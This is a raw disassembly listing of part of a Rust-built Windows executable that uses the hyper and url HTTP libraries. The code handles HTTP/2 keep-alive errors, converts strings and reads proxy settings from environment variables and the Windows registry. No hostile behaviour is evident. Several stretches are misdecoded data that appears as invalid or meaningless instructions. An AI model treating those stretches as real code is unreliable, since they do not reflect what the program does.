call fcn.1400cd1b0
movzx ebx, byte [rsp + 0x88]
cmp bl, 6
jne 0x14009ee8c
mov al, 2
jmp 0x14009efa0
mov word [rsp + 0x88], 0xa03
mov bl, 3
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0xcf], rax
movupd xmm0, xmmword [rsp + 0x89]
movupd xmm1, xmmword [rsp + 0x99]
movapd xmmword [rsp + 0xc0], xmm1
movapd xmmword [rsp + 0xb0], xmm0
cmp dword [rsi], 3
je 0x14009f051
mov rcx, rsi
call fcn.14005dc30
mov qword [rsi], 3
cmp bl, 5
je 0x14009ef9a
mov byte [rsp + 0x40], bl
movapd xmm0, xmmword [rsp + 0xb0]
movapd xmm1, xmmword [rsp + 0xc0]
add byte [rax], al
add byte [rsi + 0xf], ah
adc dword [rsp + 0x41], eax
movupd xmmword [rsp + 0x51], xmm1
mov rax, qword [rsp + 0xcf]
mov eax, dword [rsp + 0xcf]
mov qword [rsp + 0x60], rax
movzx eax, bl
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x14009ef9a
test eax, eax
je 0x14009ef9a
cmp eax, 1
jne 0x14009ef3d
lea rcx, [rsp + 0x60]
mov rax, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
push rax
mov r8, qword [rsp + 0x58]
call qword [rax + 0x10]
jmp 0x14009ef9a
mov rsi, qword [rsp + 0x48]
mov eax, esi
and eax, 3
cmp eax, 1
jne 0x14009ef9a
mov rdi, qword [rsi - 1]
mov r14, qword [rsi + 7]
mov rax, qword [r14]
test rax, rax
je 0x14009ef61
mov rcx, rdi
call rax
dec rsi
cmp qword [r14 + 8], 0
je 0x14009ef88
cmp bl, 5
setne al
add rsp, 0xd8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14009efd8
call fcn.14002ded0
mov rax, qword [r14 + 0x48]
test rax, rax
je 0x14009efe8
mov rcx, qword [r14 + 0x50]
call qword [rax + 0x18]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rsi + 0x4f0], 0x3b9aca00
movupd xmm0, xmmword [rsp + 0x40]
movupd xmm1, xmmword [rsp + 0x50]
movupd xmmword [rsi + 0x4f4], xmm0
movupd xmmword [rsi + 0x504], xmm1
mov eax, dword [rsp + 0x60]
mov dword [rsi + 0x514], eax
mov byte [rbp + 0x60], 1
mov r14d, 1
jmp 0x14009e7b9
lea rcx, str.internal_error:_entered_unreachable_code_rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_alloc_srccollections_vec_dequemod.rsmark_pending_called_when_the_timer_entry_is_in_an_invalid_state
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rsp
mov edx, 0x28
call fcn.140122660
lea rcx, str.overflow_when_adding_duration_to_instantstd_src_time.rs
lea r8, [0x140165ac8]
mov edx, 0x28
call fcn.140122a20
lea rcx, str.pong_received_implies_ping_sent_at
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2ping.rs
mov edx, 0x22
call fcn.140122a20
lea rcx, str.keep_alive_expects_last_read_at
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2ping.rs
mov edx, 0x1f
call fcn.140122a20
lea rcx, [0x140131b68]
call fcn.140122a00
lea rcx, str.bdp_enabled_implies_bytes
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2ping.rs
mov edx, 0x19
call fcn.140122a20
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x50], 8
xorpd xmm0, xmm0
movupd xmmword [rsp + 0x58], xmm0
lea rdx, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrarycore_src_time.rs
lea rcx, [rsp + 0x40]
call fcn.1401224d0
int3
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
add rsp, 0x28
pop rdi
pop rsi
ret
int3
in al, dx
nop
add byte [rax], al
add byte [rax - 0x75], cl
sbb dword [rdi], ecx
mov bh, 0x43
push 0x400d8d48
push 0x400d8d48
pop rax
str word [rax + 0x63]
add al, 0x81
add rax, rcx
jmp rax
lea rdx, [0x14015b83f]
mov r8d, 0xd
jmp 0x14009f483
add byte [rax], al
add byte [rcx - 0x48], al
or eax, 0xe9000000
cmp byte [rcx], al
add byte [rax], al
mov rsi, qword [rdx + 0x20]
mov rdi, qword [rdx + 0x28]
lea rdx, str.request_or_response_body_errorerror_decoding_response_bodyerror_upgrading_connection_for_url__
mov r8d, 0x1e
jmp 0x14009f483
add byte [rax], al
add byte [rax], al
mov rsi, qword [rdx + 0x20]
mov rdi, qword [rdx + 0x28]
lea rdx, [0x14015b861]
mov r8d, 0x18
jmp 0x14009f483
mov dword [rsp + 0x58], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 2
and al, 0x50
add al, byte [rax]
add byte [rax], al
and al, 0x50
add al, byte [rax]
add byte [rax], al
mov rsi, qword [rdx + 0x20]
mov rdi, qword [rdx + 0x28]
lea r8, [rsp + 0x38]
lea eax, [rsp + 0x38]
lea eax, [rsp + 0x38]
mov rcx, rsi
mov rdx, rdi
call fcn.140009870
mov ecx, eax
mov al, 1
test cl, cl
je 0x14009f495
jmp 0x14009f56b
jb 0x14009f464
mov rdi, qword [rdx + 0x28]
lea rdx, [0x14015b84c]
mov r8d, 0x15
add byte [rax], al
add bl, ch
invalid
add byte [rax], al
add bl, ch
sub al, 0x48
mov esi, dword [rdx + 0x20]
mov rdi, qword [rdx + 0x28]
lea rdx, [0x14015b8fe]
or eax, dword [rax]
mov r8d, 0x1c
jmp 0x14009f483
mov rcx, rsi
call qword [rdi + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x14009f56b
xor eax, eax
cmp rax, qword [rbx]
jo 0x14009f500
mov qword [rsp + 0x28], rbx
lea rax, [rsp + 0x28]
mov qword [rsp + 0x68], rax
lea rax, [0x1400b1090]
mov qword [rsp + 0x70], rax
lea rax, [0x14015b940]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea r8, [rsp + 0x38]
mov rcx, rsi
mov rdx, rdi
call fcn.140009870
mov ecx, eax
mov al, 1
test cl, cl
jne 0x14009f56b
cmp qword [rbx + 0x58], 0
je 0x14009f569
add rbx, 0x58
mov qword [rsp + 0x28], rbx
lea rax, [rsp + 0x28]
mov qword [rsp + 0x68], rax
lea rax, [0x1400349b0]
mov qword [rsp + 0x70], rax
lea rax, [0x14015b960]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea r8, [rsp + 0x38]
mov rcx, rsi
mov rdx, rdi
call fcn.140009870
jmp 0x14009f56b
xor eax, eax
add rsp, 0x90
pop rbx
pop rdi
pop rsi
ret
cmp rbp, rdi
je 0x14009fa61
test byte [rax], bl
add al, byte [rax]
invalid
test byte [rax], bl
add al, byte [rax]
add byte [rdi], cl
mov bh, 0x45
add byte [rax - 0x7d], cl
invalid
movzx eax, word [rbp]
add rbp, 2
mov ecx, eax
and ecx, 0xf800
cmp ecx, 0xd800
jne 0x14009f957
movzx ecx, ax
cmp ecx, 0xdbff
ja 0x14009f898
cmp rbp, rdi
je 0x14009f898
movzx ecx, word [rbp]
add rbp, 2
mov edx, ecx
add edx, 0x2000
movzx edx, dx
mov r12b, 1
cmp edx, 0xfbff
ja 0x14009f8b1
mov r13d, ecx
jmp 0x14009f89b
xor r12d, r12d
mov dword [rsp + 0x168], 0
mov r14d, 0xfffd
jmp 0x14009f9d5
movzx ecx, cx
and eax, 0x3ff
and ecx, 0x3ff
shl rax, 0x1a
movabs rdx, 0x100000000
add rax, rdx
shl ecx, 0x10
or rcx, rax
mov r14, rcx
shr r14, 0x10
mov dword [rsp + 0x168], 0
add byte [rax], al
add byte [rax], al
shr rax, 0x20
je 0x14009f9d2
mov rax, rcx
shr rax, 0x22
or al, 0xf0
mov byte [rsp + 0x168], al
mov rax, rcx
shr rax, 0x1c
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x169], al
shr ecx, 0x16
and cl, 0x3f
or cl, 0x80
mov byte [rsp + 0x16a], cl
and r14b, 0x3f
or r14b, 0x80
mov byte [rsp + 0x16b], r14b
mov r14d, 4
jmp 0x14009f9cd
mov eax, r13d
mov ecx, eax
and ecx, 0xf800
cmp ecx, 0xd800
je 0x14009f865
movzx r14d, ax
shl eax, 0x10
cmp eax, 0x800000
jae 0x14009f999
mov r15, qword [rsp + 0x50]
cmp r15, qword [rsp + 0x40]
jne 0x14009f979
mov rcx, rsi
call fcn.1400eab70
mov rax, qword [rsp + 0x48]
mov byte [rax + r15], r14b
inc r15
mov qword [rsp + 0x50], r15
xor r12d, r12d
test r12b, 1
je 0x14009f840
jmp 0x14009f940
mov dword [rsp + 0x168], 0
cmp eax, 0x8000000
jae 0x14009f9d2
shr eax, 0x16
or al, 0xc0
mov byte [rsp + 0x168], al
add dword [rax], eax
add byte [rcx - 0x80], al
out 0x3f, al
add dword [rax], eax
add byte [rcx - 0x80], al
out 0x3f, al
or r14b, 0x80
mov byte [rsp + 0x169], r14b
mov r14d, 2
xor r12d, r12d
jmp 0x14009fa0b
xor r12d, r12d
mov eax, r14d
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x168], al
mov eax, r14d
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x169], al
and r14b, 0x3f
or r14b, 0x80
mov byte [rsp + 0x16a], r14b
mov r14d, 3
mov rax, qword [rsp + 0x40]
mov r15, qword [rsp + 0x50]
sub rax, r15
cmp rax, r14
jb 0x14009fa4c
mov rcx, qword [rsp + 0x48]
add rcx, r15
lea rdx, [rsp + 0x168]
mov r8, r14
call fcn.140121660
add r15, r14
mov qword [rsp + 0x50], r15
test r12b, 1
je 0x14009f840
jmp 0x14009f940
mov rcx, rsi
mov rdx, r15
mov r8, r14
call fcn.140122420
mov r15, qword [rsp + 0x50]
jmp 0x14009fa1d
mov r15, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov r13, rsi
neg r13
test r13, r13
je 0x14009fa93
nop dword [rax + rax]
cmp byte [r14 + rsi - 1], 0
jne 0x14009fa95
dec rsi
inc r13
test r13, r13
jne 0x14009fa80
xor esi, esi
cmp byte [rsp + 0x30], 7
jne 0x14009fd0d
mov qword [rsp + 0x228], r15
mov qword [rsp + 0x168], 0
mov qword [rsp + 0x170], 1
mov qword [rsp + 0x178], 0
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], 0
mov byte [rsp + 0x68], 1
lea rax, [r14 + 8]
mov qword [rsp + 0x220], rax
neg r13
mov ecx, 1
mov qword [rsp + 0x30], 0
xor r12d, r12d
mov qword [rsp + 0x38], r12
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x1e8], al
jmp 0x14009fb25
cmp rsi, r12
jb 0x14009fd1e
mov rdx, r12
mov r11, rsi
sub r11, r12
lea r9, [r14 + r12]
cmp r11, 0xf
ja 0x14009fb68
cmp rsi, rdx
je 0x14009fd1e
mov rax, r13
sub rax, rdx
xor r12d, r12d
nop word [rax + rax]
cmp byte [r9 + r12], 0
je 0x14009fc17
inc r12
cmp rax, r12
jne 0x14009fb50
jmp 0x14009fd1e
lea r10, [r9 + 7]
and r10, 0xfffffffffffffff8
sub r10, r9
jne 0x14009fbcc
lea r12, [r11 - 0x10]
xor r10d, r10d
mov rax, qword [rsp + 0x220]
add rax, rdx
mov rbp, qword [rax + r10 - 8]
mov r15, qword [rax + r10]
movabs r8, 0x101010101010100
mov rdi, r8
sub rdi, r15
or rdi, r15
mov r15, r8
sub r15, rbp
or r15, rbp
and r15, rdi
not r15
movabs r8, 0x8080808080808080
test r15, r8
jne 0x14009fbe7
add r10, 0x10
cmp r10, r12
jbe 0x14009fb87
jmp 0x14009fbe7
xor r12d, r12d
cmp byte [r9 + r12], 0
je 0x14009fc17
inc r12
cmp r10, r12
jne 0x14009fbcf
lea r12, [r11 - 0x10]
cmp r10, r12
jbe 0x14009fb7c
cmp r10, r11
je 0x14009fd19
add r9, r10
mov rax, r13
sub rax, rdx
sub rax, r10
xor r12d, r12d
nop
cmp byte [r9 + r12], 0
and dword [rax], eax
je 0x14009fc14
inc r12
cmp rax, r12
jne 0x14009fc00
jmp 0x14009fd19
add r12, r10
add rdx, r12
mov r12, rdx
inc r12
je 0x14009fb1c
cmp r12, rsi
ja 0x14009fb1c
movzx eax, byte [rsp + 0x1e8]
cmp byte [r14 + rdx], al
jne 0x14009fb1c
sub rdx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x168]
sub rax, qword [rsp + 0x30]
cmp rax, rdx
mov qword [rsp + 0x1e8], rdx
jb 0x14009fcbe
add rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, r14
mov rdi, qword [rsp + 0x1e8]
mov r8, rdi
mov eax, edi
mov eax, edi
call fcn.140121660
add rdi, qword [rsp + 0x178]
mov qword [rsp + 0x178], rdi
cmp qword [rsp + 0x168], rdi
je 0x14009fced
mov rcx, qword [rsp + 0x170]
mov byte [rcx + rdi], 0xa
inc rdi
mov qword [rsp + 0x178], rdi
mov qword [rsp + 0x30], rdi
cmp rsi, r12
jae 0x14009fb09
jmp 0x14009fd28
lea rcx, [rsp + 0x168]
mov r8, rdx
mov rdx, qword [rsp + 0x30]
call fcn.140122420
mov rcx, qword [rsp + 0x170]
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x30], rax
jmp 0x14009fc60
mov r8d, 1
lea rcx, [rsp + 0x168]
mov rdx, rdi
call fcn.140122420
mov rdi, qword [rsp + 0x178]
jmp 0x14009fc97
mov rdi, r14
mov rcx, qword [rsp + 0x38]
jmp 0x14009fd8d
mov qword [rsp + 0x50], rdx
mov rdi, qword [rsp + 0x30]
mov r12, qword [rsp + 0x38]
sub rsi, r12
mov rdx, qword [rsp + 0x168]
sub rdx, rdi
cmp rdx, rsi
jb 0x1400a1385
add rcx, rdi
add r12, r14
hlt
mov rdx, r12
mov r8, rsi
call fcn.140121660
add rsi, qword [rsp + 0x178]
mov r15, qword [rsp + 0x168]
mov rdi, qword [rsp + 0x170]
cmp qword [rsp + 0x228], 0
je 0x14009fd85
hlt
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0xc8]
mov rax, rcx
neg rax
jo 0x14009fdb1
test rcx, rcx
je 0x14009fdb1
mov r8, qword [rsp + 0xd0]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, r15
neg rax
jno 0x1400a1252
movzx eax, byte [0x14019f308]
mov edx, 8
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400a13cb
mov rsi, rax
mov qword [rax], rdi
movabs rax, 0xffffffff7fffffff
cmp rbx, rax
ja 0x14009fdf7
mov rcx, rbx
call qword [sym.imp.advapi32.dll_RegCloseKey]
mov rdi, qword [rsi]
mov eax, edi
and eax, 3
cmp eax, 1
jne 0x14009fe52
mov rbx, qword [rdi - 1]
mov r14, qword [rdi + 7]
mov rax, qword [r14]
test rax, rax
je 0x14009fe19
mov rcx, rbx
call rax
dec rdi
cmp qword [r14 + 8], 0
je 0x14009fe40
cmp qword [r14 + 0x10], 0x11
jb 0x14009fe2e
mov rbx, qword [rbx - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
movabs r14, 0x8000000000000000
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp dword [rax + 0x98], 1
jne 0x14009fead
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + rax*8]
mov rax, qword [rcx + 0xa0]
mov rcx, qword [rcx + 0xa8]
jmp 0x14009fef4
xorps xmm0, xmm0
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
mov edx, 0x10
call qword [sym.imp.bcryptprimitives.dll_ProcessPrng]
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov edx, dword [0x14019f30c]
mov r8, qword gs:[0x58]
mov rdx, qword [r8 + rdx*8]
mov qword [rdx + 0x98], 1
mov qword [rdx + 0xa8], rcx
lea rdx, [rax + 1]
mov r8d, dword [0x14019f30c]
mov r9, qword gs:[0x58]
mov r8, qword [r9 + r8*8]
mov qword [r8 + 0xa0], rdx
movups xmm6, xmmword [0x14016a4f0]
movaps xmmword [rsp + 0x40], xmm6
movups xmm7, xmmword [0x14016a500]
movaps xmmword [rsp + 0x50], xmm7
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rcx
lea rdx, [0x14015bb04]
lea rcx, [rsp + 0xc8]
mov r8d, 0xe
call fcn.1400f1b70
mov rax, qword [rsp + 0xc8]
neg rax
jno 0x14009ffba
lea rdx, str.HTTP_PROXYhttp_proxyHTTPS_PROXYhttps_proxyALL_PROXYall_proxyREQUEST_METHODSoftwareMicrosoftWindowsCurrentVersionInternet_SettingsProxyEnableProxyServer
lea rcx, [rsp + 0xc8]
mov r8d, 0xa
call fcn.1400f1b70
mov rax, qword [rsp + 0xc8]
mov rcx, rax
neg rcx
jo 0x1400a009f
mov r8, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xd8]
test byte [rsp + 0xe0], 1
jne 0x1400a0060
test rcx, rcx
je 0x1400a0060
lea rdx, [r8 + rcx]
mov r10, r8
jmp 0x14009fff8
jae 0x1400a01b7
mov r8, qword [rsp + 0xd0]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400a01b7
add r10, 2
cmp r9, rdx
cmovne r9, r10
nop word [rax + rax]
mov r10, r9
cmp r9, rdx
je 0x1400a0060
lea r9, [r10 + 1]
movzx r11d, byte [r10]
test r11b, r11b
jns 0x14009fff0
cmp r11b, 0xe0
jb 0x14009ffdc
cmp r11b, 0xed
jne 0x1400a0033
cmp r9, rdx
je 0x1400a0060
lea r9, [r10 + 2]
cmp r9, rdx
je 0x1400a0060
cmp byte [r10 + 1], 0x9f
ja 0x1400a1343
add r10, 3
mov r9, r10
jmp 0x14009fff0
add r10, 2
cmp r9, rdx
cmove r10, r9
xor r9d, r9d
cmp r10, rdx
setne r9b
add r9, r10
cmp r11b, 0xf0
jb 0x14009fff0
xor r10d, r10d
cmp r9, rdx
setne r10b
add r9, r10
jmp 0x14009fff0
mov qword [rsp + 0x168], rax
mov qword [rsp + 0x170], r8
mov qword [rsp + 0x178], rcx
lea rdx, str.httphttpswswssftpfileC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srcparser.rs
lea rcx, [rsp + 0x40]
lea r9, [rsp + 0x168]
mov r8d, 4
call fcn.1400a1410
test al, al
jne 0x1400a01b7
lea rdx, [0x14015bad2]
lea rcx, [rsp + 0xc8]
mov r8d, 0xa
call fcn.1400f1b70
mov rax, qword [rsp + 0xc8]
mov rcx, rax
neg rcx
jo 0x1400a01b7
mov r8, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xd8]
test byte [rsp + 0xe0], 1
jne 0x1400a0180
test rcx, rcx
je 0x1400a0180
lea rdx, [r8 + rcx]
mov r10, r8
jmp 0x1400a0118
add r10, 2
cmp r9, rdx
cmovne r9, r10
nop dword [rax + rax]
mov r10, r9
cmp r9, rdx
je 0x1400a0180
lea r9, [r10 + 1]
movzx r11d, byte [r10]
test r11b, r11b
jns 0x1400a0110
cmp r11b, 0xe0
jb 0x1400a00fd
cmp r11b, 0xed
jne 0x1400a0153
cmp r9, rdx
je 0x1400a0180
lea r9, [r10 + 2]
cmp r9, rdx
je 0x1400a0180
cmp byte [r10 + 1], 0x9f
ja 0x1400a1363
add r10, 3
mov r9, r10
jmp 0x1400a0110
add r10, 2
cmp r9, rdx
cmove r10, r9
xor r9d, r9d
cmp r10, rdx
setne r9b
add r9, r10
cmp r11b, 0xf0
jb 0x1400a0110
xor r10d, r10d
cmp r9, rdx
setne r10b
add r9, r10
jmp 0x1400a0110
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd0], r8
mov qword [rsp + 0xd8], rcx
lea rdx, str.httphttpswswssftpfileC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srcparser.rs
lea rcx, [rsp + 0x40]
lea r9, [rsp + 0xc8]
mov r8d, 4
call fcn.1400a1410
lea rdx, [0x14015badc]
lea rcx, [rsp + 0xc8]
mov r8d, 0xb
call fcn.1400f1b70
mov rax, qword [rsp + 0xc8]
mov rcx, rax
neg rcx
jo 0x1400a02cf
mov r8, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xd8]
test byte [rsp + 0xe0], 1
jne 0x1400a0290
test rcx, rcx
je 0x1400a0290
lea rdx, [r8 + rcx]
mov r10, r8
jmp 0x1400a0228
add r10, 2
cmp r9, rdx
cmovne r9, r10
mov r10, r9
cmp r9, rdx
je 0x1400a0290
lea r9, [r10 + 1]
movzx r11d, byte [r10]
test r11b, r11b
jns 0x1400a0220
cmp r11b, 0xe0
jb 0x1400a0215
cmp r11b, 0xed
jne 0x1400a0263
cmp r9, rdx
je 0x1400a0290
lea r9, [r10 + 2]
cmp r9, rdx
je 0x1400a0290
cmp byte [r10 + 1], 0x9f
ja 0x1400a1281
add r10, 3
mov r9, r10
jmp 0x1400a0220
add r10, 2
cmp r9, rdx
cmove r10, r9
xor r9d, r9d
cmp r10, rdx
setne r9b
add r9, r10
cmp r11b, 0xf0
jb 0x1400a0220
xor r10d, r10d
cmp r9, rdx
setne r10b
add r9, r10
jmp 0x1400a0220
mov qword [rsp + 0x168], rax
mov qword [rsp + 0x170], r8
mov qword [rsp + 0x178], rcx
lea rdx, [0x14018dd8c]
lea rcx, [rsp + 0x40]
lea r9, [rsp + 0x168]
mov r8d, 5
call fcn.1400a1410
test al, al
jne 0x1400a03e7
lea rdx, [0x14015bae7]
lea rcx, [rsp + 0xc8]
mov r8d, 0xb
call fcn.1400f1b70
mov rax, qword [rsp + 0xc8]
mov rcx, rax
neg rcx
jo 0x1400a03e7
mov r8, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xd8]
test byte [rsp + 0xe0], 1
jne 0x1400a03b0
test rcx, rcx
je 0x1400a03b0
lea rdx, [r8 + rcx]
mov r10, r8
jmp 0x1400a0348
add r10, 2
cmp r9, rdx
cmovne r9, r10
nop dword [rax + rax]
mov r10, r9
cmp r9, rdx
je 0x1400a03b0
lea r9, [r10 + 1]
movzx r11d, byte [r10]
test r11b, r11b
jns 0x1400a0340
cmp r11b, 0xe0
jb 0x1400a032d
cmp r11b, 0xed
jne 0x1400a0383
cmp r9, rdx
je 0x1400a03b0
lea r9, [r10 + 2]
cmp r9, rdx
je 0x1400a03b0
cmp byte [r10 + 1], 0x9f
ja 0x1400a1323
add r10, 3
mov r9, r10
jmp 0x1400a0340
add r10, 2
cmp r9, rdx
cmove r10, r9
xor r9d, r9d
cmp r10, rdx
setne r9b
add r9, r10
cmp r11b, 0xf0
jb 0x1400a0340
xor r10d, r10d
cmp r9, rdx
setne r10b
add r9, r10
jmp 0x1400a0340
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd0], r8
mov qword [rsp + 0xd8], rcx
lea rdx, [0x14018dd8c]
lea rcx, [rsp + 0x40]
lea r9, [rsp + 0xc8]
mov r8d, 5
call fcn.1400a1410
lea rdx, [0x14015baf2]
lea rbx, [rsp + 0xc8]
mov r8d, 9
mov rcx, rbx
call fcn.1400f1b70
mov rax, qword [rsp + 0xc8]
mov rcx, rax
neg rcx
jo 0x1400a062f
mov r8, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xd8]
test byte [rsp + 0xe0], 1
jne 0x1400a04d0
test rcx, rcx
je 0x1400a04d0
lea rdx, [r8 + rcx]
mov r10, r8
jmp 0x1400a0468
add r10, 2
cmp r9, rdx
cmovne r9, r10
nop word cs:[rax + rax]
mov r10, r9
cmp r9, rdx
je 0x1400a04d0
lea r9, [r10 + 1]
movzx r11d, byte [r10]
test r11b, r11b
jns 0x1400a0460
cmp r11b, 0xe0
jb 0x1400a0448
cmp r11b, 0xed
jne 0x1400a04a3
cmp r9, rdx
je 0x1400a04d0
lea r9, [r10 + 2]
cmp r9, rdx
je 0x1400a04d0
cmp byte [r10 + 1], 0x9f
ja 0x1400a1261
add r10, 3
mov r9, r10
jmp 0x1400a0460
add r10, 2
cmp r9, rdx
cmove r10, r9
xor r9d, r9d
cmp r10, rdx
setne r9b
add r9, r10
cmp r11b, 0xf0
jb 0x1400a0460
xor r10d, r10d
cmp r9, rdx
setne r10b
add r9, r10
jmp 0x1400a0460
mov qword [rsp + 0x168], rax
mov qword [rsp + 0x170], r8
mov qword [rsp + 0x178], rcx
lea rdx, str.httphttpswswssftpfileC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srcparser.rs
lea rcx, [rsp + 0x40]
lea r9, [rsp + 0x168]
mov r8d, 4
call fcn.1400a1410
test al, al
je 0x1400a062f
lea rdx, [0x14015baf2]
lea rcx, [rsp + 0xc8]
mov r8d, 9
call fcn.1400f1b70
mov rax, qword [rsp + 0xc8]
mov rcx, rax
neg rcx
jo 0x1400a062f
mov r8, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xd8]
test byte [rsp + 0xe0], 1
jne 0x1400a05f0
test rcx, rcx
je 0x1400a05f0
lea rdx, [r8 + rcx]
mov r10, r8
jmp 0x1400a0588
add r10, 2
cmp r9, rdx
cmovne r9, r10
nop dword [rax + rax]
mov r10, r9
cmp r9, rdx
je 0x1400a05f0
lea r9, [r10 + 1]
movzx r11d, byte [r10]
test r11b, r11b
jns 0x1400a0580
cmp r11b, 0xe0
jb 0x1400a056d
cmp r11b, 0xed
jne 0x1400a05c3
cmp r9, rdx
je 0x1400a05f0
lea r9, [r10 + 2]
cmp r9, rdx
je 0x1400a05f0
cmp byte [r10 + 1], 0x9f
ja 0x1400a1261
add r10, 3
mov r9, r10
jmp 0x1400a0580
add r10, 2
cmp r9, rdx
cmove r10, r9
xor r9d, r9d
cmp r10, rdx
setne r9b
add r9, r10
cmp r11b, 0xf0
jb 0x1400a0580
xor r10d, r10d
cmp r9, rdx
setne r10b
add r9, r10
jmp 0x1400a0580
mov qword [rsp + 0x168], rax
mov qword [rsp + 0x170], r8
mov qword [rsp + 0x178], rcx
lea rdx, [0x14018dd8c]
lea rcx, [rsp + 0x40]
lea r9, [rsp + 0x168]
mov r8d, 5
call fcn.1400a1410
test al, al
jne 0x1400a0857
lea rdx, [0x14015bafb]
lea rcx, [rsp + 0xc8]
mov r8d, 9
call fcn.1400f1b70
mov rax, qword [rsp + 0xc8]
mov rcx, rax
neg rcx
jo 0x1400a0747
mov r8, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xd8]
test byte [rsp + 0xe0], 1
jne 0x1400a0710
test rcx, rcx
je 0x1400a0710
lea rdx, [r8 + rcx]
mov r10, r8
jmp 0x1400a06a8
add r10, 2
cmp r9, rdx
cmovne r9, r10
nop dword [rax + rax]
mov r10, r9
cmp r9, rdx
je 0x1400a0710
lea r9, [r10 + 1]
movzx r11d, byte [r10]
test r11b, r11b
jns 0x1400a06a0
cmp r11b, 0xe0
jb 0x1400a068d
cmp r11b, 0xed
jne 0x1400a06e3
cmp r9, rdx
je 0x1400a0710
lea r9, [r10 + 2]
cmp r9, rdx
je 0x1400a0710
cmp byte [r10 + 1], 0x9f
ja 0x1400a12e3
add r10, 3
mov r9, r10
jmp 0x1400a06a0
add r10, 2
cmp r9, rdx
cmove r10, r9
xor r9d, r9d
cmp r10, rdx
setne r9b
add r9, r10
cmp r11b, 0xf0
jb 0x1400a06a0
xor r10d, r10d
cmp r9, rdx
setne r10b
add r9, r10
jmp 0x1400a06a0
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd0], r8
mov qword [rsp + 0xd8], rcx
lea rdx, str.httphttpswswssftpfileC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srcparser.rs
lea rcx, [rsp + 0x40]
lea r9, [rsp + 0xc8]
mov r8d, 4
call fcn.1400a1410
lea rdx, [0x14015bafb]
lea rcx, [rsp + 0xc8]
mov r8d, 9
call fcn.1400f1b70
mov rax, qword [rsp + 0xc8]
mov rcx, rax
neg rcx
jo 0x1400a0857
mov r8, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xd8]
test byte [rsp + 0xe0], 1
jne 0x1400a0820
test rcx, rcx
je 0x1400a0820
lea rdx, [r8 + rcx]
mov r10, r8
jmp 0x1400a07b8
